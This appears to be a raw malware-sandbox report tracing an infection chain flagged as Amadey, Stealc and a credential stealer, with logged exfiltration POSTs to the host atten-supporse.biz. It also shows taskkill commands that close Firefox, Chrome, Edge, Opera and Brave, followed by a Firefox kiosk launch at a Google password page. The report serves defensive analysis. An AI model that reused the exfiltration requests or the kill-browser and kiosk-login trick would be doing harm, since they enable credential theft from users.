2024-12-09 22:09:44 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rv8aalntct70b0f7lrbjrp5go5; expires=Fri, 04-Apr-2025 15:56:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P4Tdi11k3tmq612J4mP5VOCNiCXV2emcRH13UBjujKbzvqA%2BYSdkhezo4uOQ1juI16nWRMcbtXg5kmTk%2BJxGhRBoZ3GfbC6rehN4D4SZDa9UGNZSDFeJFvkEGX66OpnPzPcTgB4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef85236effc43b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1649&min_rtt=1648&rtt_var=621&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2183&delivery_rate=1755862&cwnd=32&unsent_bytes=0&cid=8bca6c0f58babfc0&ts=746&x=0"
2024-12-09 22:09:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 22:09:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49897	104.21.48.1	443	3512	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:46 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8EOTTZMCWJFVIEQFP2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20525 Host: atten-supporse.biz
2024-12-09 22:09:46 UTC	15331	OUT	Data Raw: 2d 2d 38 45 4f 54 54 5a 4d 43 57 4a 46 56 49 45 51 46 50 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 33 34 35 30 46 30 45 43 39 32 32 34 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 38 45 4f 54 54 5a 4d 43 57 4a 46 56 49 45 51 46 50 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 45 4f 54 54 5a 4d 43 57 4a 46 56 49 45 51 46 50 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --8EOTTZMCWJFVIEQFP2Content-Disposition: form-data; name="hwid"3A3450F0EC9224B723D904AF30EFEBBC--8EOTTZMCWJFVIEQFP2Content-Disposition: form-data; name="pid"1--8EOTTZMCWJFVIEQFP2Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-09 22:09:46 UTC	5194	OUT	Data Raw: e8 14 42 92 f4 65 7b 97 32 53 b1 c3 de 03 ca 8d 90 09 76 fd ad a9 a0 49 cd 40 38 23 79 bb 3a 62 52 cd 86 95 4c ed 96 8f 7e 93 7b 0a d6 b2 e0 5f 22 07 5e f1 44 ef 71 d4 f0 1a 92 eb 7e a7 d2 16 3a 75 21 c7 b7 d6 05 3f 09 6b c6 53 1d 0d de 24 00 36 e3 c7 0e 00 be 30 bb 93 b5 82 ad 0f d9 9d 19 a9 fe e1 ee af 1b 2a 7f 1c cb a1 6e 47 f5 ff 88 94 46 c9 25 8b 97 b1 72 00 70 ce 6f 3a 7f 2f 89 0f 85 2e c5 ca ca 0a f6 4a 63 2f 38 c5 b9 b0 b9 03 6e ed ea ab be bf e1 ea 82 a0 2f 6b 8f eb 3c 4f 6b e3 f9 ec b3 d5 4f b7 ad 5d ee 9e c8 be d5 2a da 42 c0 ef ec bc f1 cc d5 2f 90 01 b8 d6 7e a8 f6 fe 1c ab f4 95 9b a0 47 8c fa 76 7d 4f 70 28 45 91 af 4a ce 3d 4e 56 d7 dc cc b0 d7 37 72 b7 a6 58 77 c0 e9 c1 6e 97 d1 0f 15 57 0b 83 f0 43 c9 dd 0e ea ad a1 f6 54 68 ec 3e 1f b1 Data Ascii: Be{2SvI@8#y:bRL~{_"^Dq~:u!?kS$60nGF%rpo:/.Jc/8n/k<OkO]B/~Gv}Op(EJ=NV7rXwnWCTh>
2024-12-09 22:09:47 UTC	1026	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2p8lp08eep50q6h0lltgh7arqr; expires=Fri, 04-Apr-2025 15:56:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gIMhazM4%2BjKANtgmjA1gas3JG6ig%2FOai%2FuChcGXWaXZG5fEl3L%2F3vDsVhG%2FEUlyi%2F4D8H3aAvtQRVjZGwnq5o1mn8Jmf85fMW3gArhENSEbEhraDK5iLEamn5QC2J3WJHqKnEeI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef8524958f77ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1812&min_rtt=1811&rtt_var=681&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2847&recv_bytes=21489&delivery_rate=1604395&cwnd=243&unsent_bytes=0&cid=5c1935dd6efaa3a8&ts=1194&x=0"
2024-12-09 22:09:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 22:09:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	17:07:53
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x9e0000
File size:	3'210'240 bytes
MD5 hash:	F5DB9DCEA4098275CB46B5D6FE73CEF8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:07:56
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xaa0000
File size:	3'210'240 bytes
MD5 hash:	F5DB9DCEA4098275CB46B5D6FE73CEF8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:07:57
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xaa0000
File size:	3'210'240 bytes
MD5 hash:	F5DB9DCEA4098275CB46B5D6FE73CEF8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:09:00
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xaa0000
File size:	3'210'240 bytes
MD5 hash:	F5DB9DCEA4098275CB46B5D6FE73CEF8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	17:09:13
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe"
Imagebase:	0x2a0000
File size:	1'895'424 bytes
MD5 hash:	52F0F216DFBB86683B1E318A0796DD81
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.2496625597.0000000000C54000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.2576907728.0000000000C69000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.2572489789.0000000000C60000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.2520611019.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.2543919841.0000000000C60000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.2545054746.0000000000C61000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.2543892695.0000000000C54000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.2497346871.0000000000C54000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.2545193277.0000000000C61000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.2572381559.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:09:21
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe"
Imagebase:	0x680000
File size:	1'799'168 bytes
MD5 hash:	CBF2B84F9B993A77C0E2170CCCBACB7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.2578174288.000000000143E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000003.2534662557.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.2575911980.0000000000681000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:09:26
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe"
Imagebase:	0x2a0000
File size:	1'895'424 bytes
MD5 hash:	52F0F216DFBB86683B1E318A0796DD81
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2656254636.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2656059323.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2722206799.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2657437696.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2717480504.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2657790629.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2684316064.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2630336262.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2630205909.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:09:28
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe"
Imagebase:	0x670000
File size:	971'776 bytes
MD5 hash:	5DD5F67D25C20DFF1AC926ABDC8C2EB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 24%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:09:30
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x460000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:09:30
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	17:09:32
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x460000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:09:32
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:09:32
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x460000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	17:09:32
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:09:32
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x460000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:09:32
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:09:33
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x460000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	17:09:33
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:09:33
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	17:09:33
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	17:09:33
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	17:09:34
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2272 -parentBuildID 20230927232528 -prefsHandle 2192 -prefMapHandle 2184 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {55e86b5f-3953-4278-9a52-23c7c331b436} 5932 "\\.\pipe\gecko-crash-server-pipe.5932" 2ba49c6e110 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	17:09:35
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe"
Imagebase:	0x680000
File size:	1'799'168 bytes
MD5 hash:	CBF2B84F9B993A77C0E2170CCCBACB7C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2760593914.0000000000681000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2764793088.000000000142B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000003.2673057530.0000000005030000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	17:09:38
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe"
Imagebase:	0x670000
File size:	2'895'872 bytes
MD5 hash:	6CFAA4B02B026AA1631EDA2E570A1298
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	17:09:38
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4116 -parentBuildID 20230927232528 -prefsHandle 4068 -prefMapHandle 4064 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8f1a1788-4a6a-4b44-adb8-7b34c81ea1a2} 5932 "\\.\pipe\gecko-crash-server-pipe.5932" 2ba5bd78210 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	17:09:43
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe"
Imagebase:	0x670000
File size:	971'776 bytes
MD5 hash:	5DD5F67D25C20DFF1AC926ABDC8C2EB0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	17:09:46
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x460000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	17:09:46
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	17:09:51
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe"
Imagebase:	0x670000
File size:	2'895'872 bytes
MD5 hash:	6CFAA4B02B026AA1631EDA2E570A1298
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	17:09:53
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ae5cfd188c.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	17:09:54
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1944,i,17281856634279828374,9724014430205040748,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	17:09:58
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ae5cfd188c.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	17:09:58
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1164 --field-trial-handle=1988,i,16142706175083674967,2684589522950696221,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
